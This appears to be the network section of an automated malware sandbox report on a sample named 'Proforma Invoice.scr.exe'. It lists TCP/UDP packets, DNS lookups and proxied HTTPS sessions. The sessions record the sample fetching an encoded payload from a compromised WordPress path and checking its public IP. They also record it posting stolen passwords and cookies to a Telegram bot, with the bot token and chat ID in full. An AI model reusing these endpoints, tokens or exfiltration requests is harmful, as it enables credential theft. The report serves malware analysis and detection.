Oct 31, 2024 11:14:55.999335051 CET	443	51774	104.26.13.205	192.168.2.6
Oct 31, 2024 11:14:56.136697054 CET	443	51774	104.26.13.205	192.168.2.6
Oct 31, 2024 11:14:56.136787891 CET	443	51774	104.26.13.205	192.168.2.6
Oct 31, 2024 11:14:56.136841059 CET	51774	443	192.168.2.6	104.26.13.205
Oct 31, 2024 11:14:56.139892101 CET	51774	443	192.168.2.6	104.26.13.205
Oct 31, 2024 11:14:56.739674091 CET	51775	443	192.168.2.6	149.154.167.220
Oct 31, 2024 11:14:56.739732981 CET	443	51775	149.154.167.220	192.168.2.6
Oct 31, 2024 11:14:56.739803076 CET	51775	443	192.168.2.6	149.154.167.220
Oct 31, 2024 11:14:56.740319967 CET	51775	443	192.168.2.6	149.154.167.220
Oct 31, 2024 11:14:56.740336895 CET	443	51775	149.154.167.220	192.168.2.6
Oct 31, 2024 11:14:57.632725954 CET	443	51775	149.154.167.220	192.168.2.6
Oct 31, 2024 11:14:57.632810116 CET	51775	443	192.168.2.6	149.154.167.220
Oct 31, 2024 11:14:57.642466068 CET	51775	443	192.168.2.6	149.154.167.220
Oct 31, 2024 11:14:57.642503023 CET	443	51775	149.154.167.220	192.168.2.6
Oct 31, 2024 11:14:57.642802000 CET	443	51775	149.154.167.220	192.168.2.6
Oct 31, 2024 11:14:57.644893885 CET	51775	443	192.168.2.6	149.154.167.220
Oct 31, 2024 11:14:57.687354088 CET	443	51775	149.154.167.220	192.168.2.6
Oct 31, 2024 11:14:58.002862930 CET	51775	443	192.168.2.6	149.154.167.220
Oct 31, 2024 11:14:58.002909899 CET	443	51775	149.154.167.220	192.168.2.6
Oct 31, 2024 11:14:58.092099905 CET	443	51775	149.154.167.220	192.168.2.6
Oct 31, 2024 11:14:58.143085003 CET	51775	443	192.168.2.6	149.154.167.220
Oct 31, 2024 11:14:58.249139071 CET	443	51775	149.154.167.220	192.168.2.6
Oct 31, 2024 11:14:58.251359940 CET	51775	443	192.168.2.6	149.154.167.220
Oct 31, 2024 11:14:58.251421928 CET	443	51775	149.154.167.220	192.168.2.6
Oct 31, 2024 11:14:58.251497984 CET	51775	443	192.168.2.6	149.154.167.220
Oct 31, 2024 11:14:58.299364090 CET	51776	443	192.168.2.6	149.154.167.220
Oct 31, 2024 11:14:58.299427986 CET	443	51776	149.154.167.220	192.168.2.6
Oct 31, 2024 11:14:58.299510956 CET	51776	443	192.168.2.6	149.154.167.220
Oct 31, 2024 11:14:58.299768925 CET	51776	443	192.168.2.6	149.154.167.220
Oct 31, 2024 11:14:58.299786091 CET	443	51776	149.154.167.220	192.168.2.6
Oct 31, 2024 11:14:59.123327017 CET	443	51776	149.154.167.220	192.168.2.6
Oct 31, 2024 11:14:59.123414040 CET	51776	443	192.168.2.6	149.154.167.220
Oct 31, 2024 11:14:59.124974012 CET	51776	443	192.168.2.6	149.154.167.220
Oct 31, 2024 11:14:59.124985933 CET	443	51776	149.154.167.220	192.168.2.6
Oct 31, 2024 11:14:59.125231981 CET	443	51776	149.154.167.220	192.168.2.6
Oct 31, 2024 11:14:59.126713991 CET	51776	443	192.168.2.6	149.154.167.220
Oct 31, 2024 11:14:59.167323112 CET	443	51776	149.154.167.220	192.168.2.6
Oct 31, 2024 11:14:59.471246958 CET	51776	443	192.168.2.6	149.154.167.220
Oct 31, 2024 11:14:59.471273899 CET	443	51776	149.154.167.220	192.168.2.6
Oct 31, 2024 11:14:59.486495018 CET	443	51776	149.154.167.220	192.168.2.6
Oct 31, 2024 11:14:59.533663988 CET	51776	443	192.168.2.6	149.154.167.220
Oct 31, 2024 11:14:59.744147062 CET	443	51776	149.154.167.220	192.168.2.6
Oct 31, 2024 11:14:59.744714975 CET	51776	443	192.168.2.6	149.154.167.220
Oct 31, 2024 11:14:59.744791031 CET	443	51776	149.154.167.220	192.168.2.6
Oct 31, 2024 11:14:59.744874001 CET	51776	443	192.168.2.6	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 11:14:05.679869890 CET	62026	53	192.168.2.6	1.1.1.1
Oct 31, 2024 11:14:06.189265966 CET	53	62026	1.1.1.1	192.168.2.6
Oct 31, 2024 11:14:25.869194031 CET	58949	53	192.168.2.6	1.1.1.1
Oct 31, 2024 11:14:25.876281023 CET	53	58949	1.1.1.1	192.168.2.6
Oct 31, 2024 11:14:33.011075974 CET	58386	53	192.168.2.6	1.1.1.1
Oct 31, 2024 11:14:33.018141985 CET	53	58386	1.1.1.1	192.168.2.6
Oct 31, 2024 11:14:49.134283066 CET	53	56062	162.159.36.2	192.168.2.6
Oct 31, 2024 11:14:50.215193033 CET	53	58907	1.1.1.1	192.168.2.6
Oct 31, 2024 11:14:56.731761932 CET	63922	53	192.168.2.6	1.1.1.1
Oct 31, 2024 11:14:56.739111900 CET	53	63922	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2024 11:14:05.679869890 CET	192.168.2.6	1.1.1.1	0x6e97	Standard query (0)	geocs.mx	A (IP address)	IN (0x0001)	false
Oct 31, 2024 11:14:25.869194031 CET	192.168.2.6	1.1.1.1	0xbf72	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 11:14:33.011075974 CET	192.168.2.6	1.1.1.1	0x49c6	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 11:14:56.731761932 CET	192.168.2.6	1.1.1.1	0x9578	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 31, 2024 11:13:59.323019981 CET	1.1.1.1	192.168.2.6	0x255e	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 11:13:59.323019981 CET	1.1.1.1	192.168.2.6	0x255e	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 11:13:59.323019981 CET	1.1.1.1	192.168.2.6	0x255e	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false
Oct 31, 2024 11:14:06.189265966 CET	1.1.1.1	192.168.2.6	0x6e97	No error (0)	geocs.mx		173.237.185.182	A (IP address)	IN (0x0001)	false
Oct 31, 2024 11:14:25.876281023 CET	1.1.1.1	192.168.2.6	0xbf72	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Oct 31, 2024 11:14:25.876281023 CET	1.1.1.1	192.168.2.6	0xbf72	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Oct 31, 2024 11:14:25.876281023 CET	1.1.1.1	192.168.2.6	0xbf72	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Oct 31, 2024 11:14:33.018141985 CET	1.1.1.1	192.168.2.6	0x49c6	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Oct 31, 2024 11:14:56.739111900 CET	1.1.1.1	192.168.2.6	0x9578	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

geocs.mx

api.ipify.org

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49737	173.237.185.182	443	4000	C:\Users\user\Desktop\Proforma Invoice.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:14:07 UTC	80	OUT	GET /wp-includes/Hjewct.vdf HTTP/1.1 Host: geocs.mx Connection: Keep-Alive
2024-10-31 10:14:08 UTC	183	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:14:14 GMT Server: Apache Last-Modified: Tue, 29 Oct 2024 16:15:46 GMT Accept-Ranges: bytes Content-Length: 993808 Connection: close
2024-10-31 10:14:08 UTC	8009	IN	Data Raw: 59 bb 59 98 8d d4 55 48 67 9b 07 a4 9a 0d d0 0d 3d d7 99 85 ff a3 70 3c ba 9f 1e 89 cc 9c 62 8e 1c 97 e3 0b 75 14 48 11 7f ea 8b 97 3d 0f c3 88 2f d8 6a 05 59 1f a2 e0 d9 e9 32 25 a6 e6 ef 87 3b 59 70 8b b6 70 d9 78 4e ae 79 bc 01 57 4c 80 94 78 47 3c c7 34 02 a3 2c 07 f4 57 8e 1d 74 c2 5d d3 be 60 1f 42 e4 ca e0 93 68 6c 35 92 40 2f 8f 84 ef 6d 82 6c 90 e4 9f 3c 10 50 b9 8d a5 29 aa b5 43 56 36 53 50 a2 63 12 7e 59 a1 be 7a 9e 2c b5 d3 39 6f 23 f5 81 25 53 30 23 97 d1 f5 6d d0 da e5 7d b3 b0 d2 0f 53 87 71 34 8e 27 60 21 a1 3f 88 b8 9f 06 e2 1d 64 0c 74 3d ee 0a 41 cb b5 c7 99 24 25 4e 70 3a dc 7c ba 13 e5 52 d4 d8 26 db f9 de cb ef 77 ee 62 5c 9e 47 d2 2d 97 bb 0e 7d d7 8e 76 16 5a 54 57 d9 7d 06 77 24 cd b8 f3 58 44 b2 f3 de 00 ef a5 31 98 bc 45 6a 00 Data Ascii: YYUHg=p<buH=/jY2%;YppxNyWLxG<4,Wt]`Bhl5@/ml<P)CV6SPc~Yz,9o#%S0#m}Sq4'`!?dt=A$%Np:\|R&wb\G-}vZTW}w$XD1Ej
2024-10-31 10:14:08 UTC	8000	IN	Data Raw: 01 02 e7 a5 2c 6d 09 b0 1d cd 54 5c 0e 03 44 55 72 71 57 9f 5b fd b3 2a 88 54 8e e9 9d 4c a9 3c 01 68 89 45 64 ff 17 c8 9d 47 30 41 75 35 3b 55 48 35 a6 e1 4f c6 1b 25 a9 94 cc ae 65 47 b4 8e 57 68 f8 38 d0 a8 e2 66 b0 98 33 66 ab 90 e3 e1 b2 94 0c 71 9a 41 17 21 f0 d5 9c ef 50 b3 32 1e 91 f3 68 b4 dd 49 bc e2 b3 58 6b 8c ea 10 45 3c 62 7c 3c 43 7d ee bf 91 0a 3e 1d f9 a5 7a 7e 7d cd 6f 85 b9 ba 00 44 76 50 d4 cf 9d 44 d0 8d e3 58 d4 64 df 27 fa cf fd 66 bc ac 13 c6 6f 36 4b 28 30 eb 60 57 7a 7e 37 60 4e b3 2e f2 76 8a 14 61 63 50 23 7a ed 4a ad 6b 2f 2c 19 5f 47 a5 4e 1b e8 02 89 7f 86 4a ab 92 91 90 05 0d 27 12 b3 b5 bf 1d 93 a6 4a 0f 0b 84 07 5e 41 cd bd c5 2f d9 65 d8 9e b1 f7 ce 68 1b ae 64 91 98 20 20 31 6c 45 5b 16 89 21 39 7e f2 9f c0 eb 9e 21 30 Data Ascii: ,mT\DUrqW[*TL<hEdG0Au5;UH5O%eGWh8f3fqA!P2hIXkE<b\|<C}>z~}oDvPDXd'fo6K(0`Wz~7`N.vacP#zJk/,_GNJ'J^A/ehd 1lE[!9~!0
2024-10-31 10:14:08 UTC	8000	IN	Data Raw: e2 e9 53 fc de 7c 50 50 38 fc 2c 51 fb db 76 40 e1 ce 7e 7e b2 8d df 60 76 81 e3 1e a4 10 ed 88 e3 3e a3 4b 27 30 20 d4 10 44 b5 f6 ee 0a ad 79 e8 82 be 25 b7 96 b1 a8 1c a9 4e 1a f1 98 a9 8c a4 76 08 70 84 55 82 c0 74 40 53 2d 43 53 72 fb 45 ac 46 a7 02 73 71 10 be 43 73 3c 53 a8 ef f9 37 dc f0 75 3a 9d 59 40 50 11 73 b5 d8 50 08 fb f3 d5 14 03 27 95 ba 04 12 5f 34 d0 7b 84 19 44 55 a4 12 23 d1 34 b1 51 e7 65 a7 c2 8c e3 0d 0a 0a b3 2f 40 c4 c3 ff 31 b7 09 fa 2f 9e ed 32 05 db 82 4e 79 35 2e 2c 47 91 65 a6 8d 9c 27 4c 12 40 1a bd ea ff eb 47 70 f0 a7 2a 40 fd f0 8b 97 c7 a1 21 9d 9c 8f cd a7 40 25 f0 2f ee 39 4f 4f e9 e4 30 66 01 b0 d0 ac fc 0c cb 44 29 20 40 a2 92 ca 7d 3c 16 ad 6e 76 52 23 ce 92 30 2d 7a cb a9 21 f8 b0 54 26 c5 f1 d4 0d 21 2e f3 47 31 Data Ascii: S\|PP8,Qv@~~`v>K'0 Dy%NvpUt@S-CSrEFsqCs<S7u:Y@PsP'_4{DU#4Qe/@1/2Ny5.,Ge'L@Gp*@!@%/9OO0fD) @}<nvR#0-z!T&!.G1
2024-10-31 10:14:08 UTC	8000	IN	Data Raw: 0b 80 a0 b1 ad 67 45 43 81 62 83 11 15 27 5e f9 e9 5b dd 29 15 aa ec dc 36 5b 8d 3e 84 12 66 9c 64 82 48 a6 24 1c b1 e0 bc a1 65 0f 01 dc b5 17 ec 04 bf 81 35 21 f4 19 ba 33 5f ee 58 4e 0f ef 6e d3 72 95 c8 1d 31 f8 28 b3 99 d7 f8 03 4f 1f 2a f1 ec 12 5b 48 19 47 36 70 64 b1 53 87 ff fa 93 fb 98 7b 1b 42 e0 c2 28 7f 35 7d bb 4a 25 f7 d3 36 22 a0 d5 67 ed a1 9e bf 09 59 77 fd ec db 5c 72 e0 06 8f 2f d1 61 70 2d c0 4d b5 a5 a6 52 d5 1b f3 47 4f d7 32 98 1a 36 cd e7 d1 34 f9 9e d0 e4 2c c8 31 b5 b1 72 f8 1a 1b af 41 d6 4e e4 74 d1 f4 5b e2 4a cd af fb 85 0f 44 a6 23 67 f1 9f 9d 5a 34 b6 0a 1a 48 d1 7a a6 c9 85 a4 c2 9e a2 74 56 07 f8 5d 80 53 0e f5 8d 2b 37 b9 16 b2 58 58 11 fa b0 3e 30 ef b1 f6 82 80 cc cf 42 1c 15 01 e3 f6 6a 49 b4 33 08 9e 9b 80 c8 fe cf Data Ascii: gECb'^[)6[>fdH$e5!3_XNnr1(O*[HG6pdS{B(5}J%6"gYw\r/ap-MRGO264,1rANt[JD#gZ4HztV]S+7XX>0BjI3
2024-10-31 10:14:08 UTC	8000	IN	Data Raw: 31 84 60 23 6b 85 68 83 b6 ea 32 0d e3 00 4e e7 ca 7b 67 04 ba 83 0f 51 62 8f ee 83 ec 23 32 f1 c7 c7 52 32 ab 7d 02 24 a4 d0 e8 ef e5 5c ad 14 30 23 32 b9 cd d9 8e 37 6b a1 39 6a ce fc e6 d2 8a 92 68 66 c6 59 d1 f2 1e b5 43 7c 24 2a 51 55 36 35 d6 e2 51 fa 3c 1d 7e f3 d3 6b 97 fb 91 e1 8d e8 51 fb de 22 43 97 b0 7c a4 02 a6 7b 17 92 0f d1 87 dc 98 a7 9e 43 d0 cf 48 8d 9e f9 70 74 f7 ac 1a 73 5c 90 15 eb 67 84 ed 47 8f 6d c5 4b cd 64 81 41 2a 3a ce 0a bd fd bc ad b0 55 24 78 83 fe 31 96 b8 c2 0a a9 66 a8 15 6e 72 3f d1 5f 04 3c 66 7b 4f 54 58 a9 49 47 63 83 ac cd 0c 7d a5 c0 1c a8 02 44 c6 72 1e 7b 08 f9 c3 74 ea 10 26 6a 02 3b cc bd 35 45 89 16 15 5f 43 9d de 14 2f a9 ee 81 a8 8f 89 da 91 ab 0b 58 d5 e2 02 0a 75 8c fc 27 ec 57 f7 3c 25 2b 36 16 d0 f1 3b Data Ascii: 1`#kh2N{gQb#2R2}$\0#27k9jhfYC\|$QU65Q<~kQ"C\|{CHpts\gGmKdA:U$x1fnr?_<f{OTXIGc}Dr{t&j;5E_C/Xu'W<%+6;
2024-10-31 10:14:08 UTC	8000	IN	Data Raw: 71 7a a2 5f 86 b3 66 30 48 15 e4 74 2a 44 8c 72 d9 d6 3e ea c9 48 54 4b 8e bb 7a a2 cd ec 5f ac 0a 60 84 10 5e 38 2e 13 40 5e ff 01 e4 7b 19 a6 56 ac 72 fa 71 04 3d 5e b4 eb 4f c1 52 a9 13 dc 35 b5 ed 3f 68 93 3f 52 1f e3 af ae 52 aa 32 fe d4 eb 23 44 f5 5e 92 b4 ce ad 73 1f dc 9f 8f 34 90 70 0d 92 24 37 3a fb 47 50 3d 71 25 0b 10 e9 f5 fc 99 6c 91 97 fb 41 e9 4b e8 86 f1 0d 94 9c da ba 64 e0 75 32 7f 35 a7 62 4a f0 e0 63 74 6f 5d 19 e2 24 a0 4b 37 da b3 17 49 a4 c8 95 33 35 30 3d df f7 5a d4 7b 66 96 38 59 a6 59 1a ca db 69 54 a8 b9 af 35 20 cd 76 4d 1d 2c 19 9b ff 4c f4 29 e9 86 3f 3e 35 ec 65 60 4e b6 49 ea e4 ac 16 62 df d1 f2 04 02 25 fc ff 9a d2 cf 08 e6 da 2f b0 1c 43 ce 67 bc 07 5d f7 ae 91 a0 09 d3 bc 63 3c 87 13 01 2d 2e 29 8b b1 4f e0 d0 75 68 Data Ascii: qz_f0Ht*Dr>HTKz_`^8.@^{Vrq=^OR5?h?RR2#D^s4p$7:GP=q%lAKdu25bJcto]$K7I350=Z{f8YYiT5 vM,L)?>5e`NIb%/Cg]c<-.)Ouh
2024-10-31 10:14:08 UTC	8000	IN	Data Raw: 6a ac 42 36 6f 79 0d 93 6d 09 6e ba 3c e6 2a ef b1 9e b0 25 7c 4b 8f a2 f2 3c 6c 2e 62 28 21 ac c3 2d 5d 5c e2 16 23 6d 1b 10 08 5c 03 51 39 01 51 f9 d0 a8 2a 8b d2 18 f8 38 bd d1 7a da 25 6a e8 fa c6 75 a3 12 71 a9 9f 66 c8 51 b0 0d 43 0f 89 8a 94 c4 60 30 53 f1 d9 5e ed 15 02 25 d3 79 97 6b ad bf 93 51 6b 6e 9b a9 34 3d c4 df 43 38 fe 5b 8f 78 4f e5 9e d9 29 29 9a 9f 85 61 94 2a 05 be 12 4f 33 0d ef 3f ba 29 5e 81 af 5e 13 c2 ee 95 82 8e 9b fb bd 23 42 d7 2b 57 a8 05 d8 65 d4 81 46 05 37 01 60 b9 86 f6 fa ed 90 80 3f 80 01 36 4c c4 6d fb 2e 45 e0 6d f2 2b 49 c7 72 1a 4a 25 a8 04 ca f0 d5 d5 f8 25 ef ab 99 cd e2 39 c6 5e 0b 6e ec df d0 25 3e b3 a2 a5 1e 59 2a d8 17 ff 7c 15 d9 8b 66 30 18 77 ed 05 8d cf 02 6f 87 bd d6 4f bb 64 a1 81 56 6d 92 08 c6 d7 d5 Data Ascii: jB6oymn<%\|K<l.b(!-]\#m\Q9Q8z%juqfQC`0S^%ykQkn4=C8[xO))aO3?)^^#B+WeF7`?6Lm.Em+IrJ%%9^n%>Y\|f0woOdVm
2024-10-31 10:14:08 UTC	8000	IN	Data Raw: 58 0b 75 38 13 e9 fd 66 20 8a dd 63 aa ea 4d 45 ec dd 82 1e 90 ba 1a 10 68 a3 7f 6a 37 7c 2e 04 f4 56 80 1e 3a 0d 3e d7 4d 1a 97 7c b6 46 a1 d2 a1 bb a6 06 67 ff b8 eb a3 92 4f 52 97 7e 71 be d4 72 28 19 89 93 e9 a0 de 03 5e d0 31 06 bd 4c 25 0c 3a da 9c 64 9b 1e 5f ca 21 58 6e 16 b9 4a 2b bf 22 13 ca 24 fe 9b cf c8 70 01 7c 39 be c6 4a 5e f7 ae 8f e4 59 7b 22 fc 61 bd 19 ad 0a 59 ae 3b 5f 72 2e bf ba f5 8c 46 d3 24 3c 4c 28 76 df bf 61 75 ae a6 ad 15 24 b5 8a 18 a1 7e f1 ff eb 0f 12 14 4c 46 a1 98 99 3d ef 96 bf ea 35 62 05 9f 2f bb 26 2e 5f 32 86 34 64 e8 48 a1 6d e2 43 0a da f2 1b e3 81 7f 2d 48 e0 77 61 b6 26 aa 63 58 5c 43 58 a9 68 22 87 ae 8e 45 17 49 b2 fd 94 ee 02 ed 38 d3 c7 07 f9 b6 46 39 b1 91 75 21 49 22 8f a9 f6 fb b5 11 55 b7 0f 99 cc 70 a2 Data Ascii: Xu8f cMEhj7\|.V:>M\|FgOR~qr(^1L%:d_!XnJ+"$p\|9J^Y{"aY;_r.F$<L(vau$~LF=5b/&._24dHmC-Hwa&cX\CXh"EI8F9u!I"Up
2024-10-31 10:14:08 UTC	8000	IN	Data Raw: 67 4e a2 0d 91 aa 1e 2f 29 ef 2f d4 fd 61 26 05 b2 7f 52 7f 86 5a 80 fa b2 7c 7a 5c ab cb a2 7f 90 07 18 02 49 00 e7 da b2 b4 a4 99 85 9a e1 25 df b1 67 5c f3 a5 76 0f 19 7d 6c 4c 71 9d e2 79 aa dd b9 f2 83 75 9d 8e c4 98 c4 0b 97 c9 68 64 47 73 8e 87 43 be 55 1d f4 a5 0d 81 a5 a0 d5 06 3d 7d ea 08 16 e0 9e 21 64 cb 67 df cc 72 f5 f4 2b 97 c8 19 21 a0 94 b9 82 8d 3e 55 97 c2 09 4a f8 b0 8a 2f 2a 30 68 2d 94 59 f9 fe d1 c3 94 4d 7a 1a 5d dc 01 a7 87 b3 ce 34 af 9f a0 74 34 37 4f 1c 11 e3 1e 9e 11 60 c9 43 9b 97 d7 a8 e9 7a bb e6 ce 8e 36 c6 ff c0 d1 8c 35 9a e6 06 21 25 6b 72 6e cd bd 97 c6 eb df 50 a3 5c f4 34 d8 00 54 06 22 60 33 23 2c 15 55 81 1d b4 e9 fe 17 c5 db 2e 19 9d f4 d7 06 6a ea 51 21 73 59 58 61 ab fd 95 f9 9a f2 49 15 23 e4 dd 93 2d 71 2f b6 Data Ascii: gN/)/a&RZ\|z\I%g\v}lLqyuhdGsCU=}!dgr+!>UJ/*0h-YMz]4t47O`Cz65!%krnP\4T"`3#,U.jQ!sYXaI#-q/
2024-10-31 10:14:08 UTC	8000	IN	Data Raw: 96 0d f3 44 09 89 1e 52 9f 12 52 1c 54 4f a5 3f db 88 c0 e6 93 fb 3e 26 95 39 98 bc e2 70 f8 42 14 16 e3 ac e8 82 ea 51 3a 12 ee 28 ba eb dd ca 11 42 55 31 33 c9 40 28 d5 9c 2e 44 0f 07 ec c9 9d 25 07 4c a3 63 33 1a d9 51 56 dd a6 ca 26 db 22 1d 49 f5 aa 16 53 a6 17 84 53 7f 0d e7 94 05 a7 a3 3e 61 19 d6 6c e4 3f 2f 0e 8d fe 95 22 1b 1f 3c 2e 1b b4 d2 1d 0f 75 62 1e 6b f7 33 c4 9f b7 5f f9 c1 26 ee ee e3 6c 32 0d f5 0c 2d db 09 1a ae 4f 86 bc d7 1a 9e 24 7b 7d ad 41 24 4b 99 77 87 25 dc 09 0c 15 90 e4 00 14 09 9c b8 f4 52 69 8d 72 2d 39 8e aa 65 cd 2d d7 54 8d 43 ea e3 b8 1f 76 cb 60 12 30 45 65 ae 01 51 2b e1 d0 0b c7 b6 df 36 d6 f7 f9 e1 34 c1 e5 92 f2 46 f7 27 ae 05 bf e6 5e a0 f5 d6 8a 75 d0 d9 b6 1f c2 e0 ab 91 5a 02 7b b4 fa 10 95 07 d5 41 48 23 c8 Data Ascii: DRRTO?>&9pBQ:(BU13@(.D%Lc3QV&"ISS>al?/"<.ubk3_&l2-O${}A$Kw%Rir-9e-TCv`0EeQ+64F'^uZ{AH#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49841	104.26.13.205	443	3412	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:14:26 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-10-31 10:14:26 UTC	211	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:14:26 GMT Content-Type: text/plain Content-Length: 14 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8db2e0d06d6445f6-DFW
2024-10-31 10:14:26 UTC	14	IN	Data Raw: 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 Data Ascii: 173.254.250.77

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49879	149.154.167.220	443	3412	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:14:33 UTC	260	OUT	POST /bot7245016847:AAHTGgEGytVrrQCnyNC6RGvqcnPdZoR0H5U/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcf97349026ea0 Host: api.telegram.org Content-Length: 981 Expect: 100-continue Connection: Keep-Alive
2024-10-31 10:14:34 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-31 10:14:34 UTC	981	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 39 37 33 34 39 30 32 36 65 61 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 37 30 36 38 38 32 39 33 39 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 39 37 33 34 39 30 32 36 65 61 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 31 30 2f 33 31 2f 32 30 32 34 20 30 36 3a 31 34 3a 33 31 0a 55 73 65 72 Data Ascii: -----------------------------8dcf97349026ea0Content-Disposition: form-data; name="chat_id"7068829394-----------------------------8dcf97349026ea0Content-Disposition: form-data; name="caption"New PW Recovered!Time: 10/31/2024 06:14:31User
2024-10-31 10:14:34 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Thu, 31 Oct 2024 10:14:34 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49890	149.154.167.220	443	3412	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:14:36 UTC	236	OUT	POST /bot7245016847:AAHTGgEGytVrrQCnyNC6RGvqcnPdZoR0H5U/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcf98afee4d99a Host: api.telegram.org Content-Length: 918 Expect: 100-continue
2024-10-31 10:14:36 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-31 10:14:36 UTC	918	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 39 38 61 66 65 65 34 64 39 39 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 37 30 36 38 38 32 39 33 39 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 39 38 61 66 65 65 34 64 39 39 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 43 4f 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 31 30 2f 33 31 2f 32 30 32 34 20 30 39 3a 30 34 3a 31 35 0a 55 73 65 72 Data Ascii: -----------------------------8dcf98afee4d99aContent-Disposition: form-data; name="chat_id"7068829394-----------------------------8dcf98afee4d99aContent-Disposition: form-data; name="caption"New CO Recovered!Time: 10/31/2024 09:04:15User
2024-10-31 10:14:36 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Thu, 31 Oct 2024 10:14:36 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49910	173.237.185.182	443	6828	C:\Users\user\AppData\Roaming\EncoderFallback.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:14:39 UTC	80	OUT	GET /wp-includes/Hjewct.vdf HTTP/1.1 Host: geocs.mx Connection: Keep-Alive
